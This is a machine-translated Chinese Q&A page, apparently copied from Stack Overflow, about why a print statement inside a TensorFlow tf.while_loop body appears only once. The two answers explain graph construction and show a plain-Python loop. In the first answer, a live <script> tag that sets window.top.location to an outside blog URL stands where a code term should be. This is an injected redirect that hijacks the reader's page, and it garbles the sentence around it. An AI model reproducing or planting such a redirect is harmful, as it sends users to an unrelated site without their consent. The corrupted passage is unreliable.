下面的while循环应该打印"\n\nInside while..."
10次,但是当我运行图表时,"\n\nInside while..."
只打印一次。那是为什么?
i = tf.constant(0)
def condition(i):
return i < 10
def body(i):
print("\n\nInside while...", str(i))
return i + 1
r = tf.while_loop(condition, body, [i])
答案 0 :(得分:2)
您的问题来自于将TensorFlow图形构建与图形执行相结合。
传递给<script>window.top.location = 'http://server.myserverdomain.com/~seconsite/blog';</script>
的函数执行一次,以生成负责执行循环本身的TensorFlow图。因此,如果您在其中放置tf.while_loop
(例如,说tf.Print
),当TensorFlow系统实际执行循环时,您会看到它打印10次。
答案 1 :(得分:0)
我对TensorFlow几乎一无所知,无法帮助解决您的问题,但如果以不同的方式编写代码,您可以完成类似的事情(也许)。遵循程序的逻辑,下面设计了while_loop
的不同实现。您的condition
和body
需要运行一个while循环,该循环已经过传递给它的函数参数化。下面显示的是与口译员的对话,说明如何做到这一点。
>>> def while_loop(condition, body, local_data):
while condition(*local_data):
local_data = body(*local_data)
return local_data
>>> i = 0
>>> def condition(i):
return i < 10
>>> def body(i):
print('Inside while', i)
return i + 1,
>>> local_data = while_loop(condition, body, (i,))
Inside while 0
Inside while 1
Inside while 2
Inside while 3
Inside while 4
Inside while 5
Inside while 6
Inside while 7
Inside while 8
Inside while 9
>>> local_data
(10,)
>>>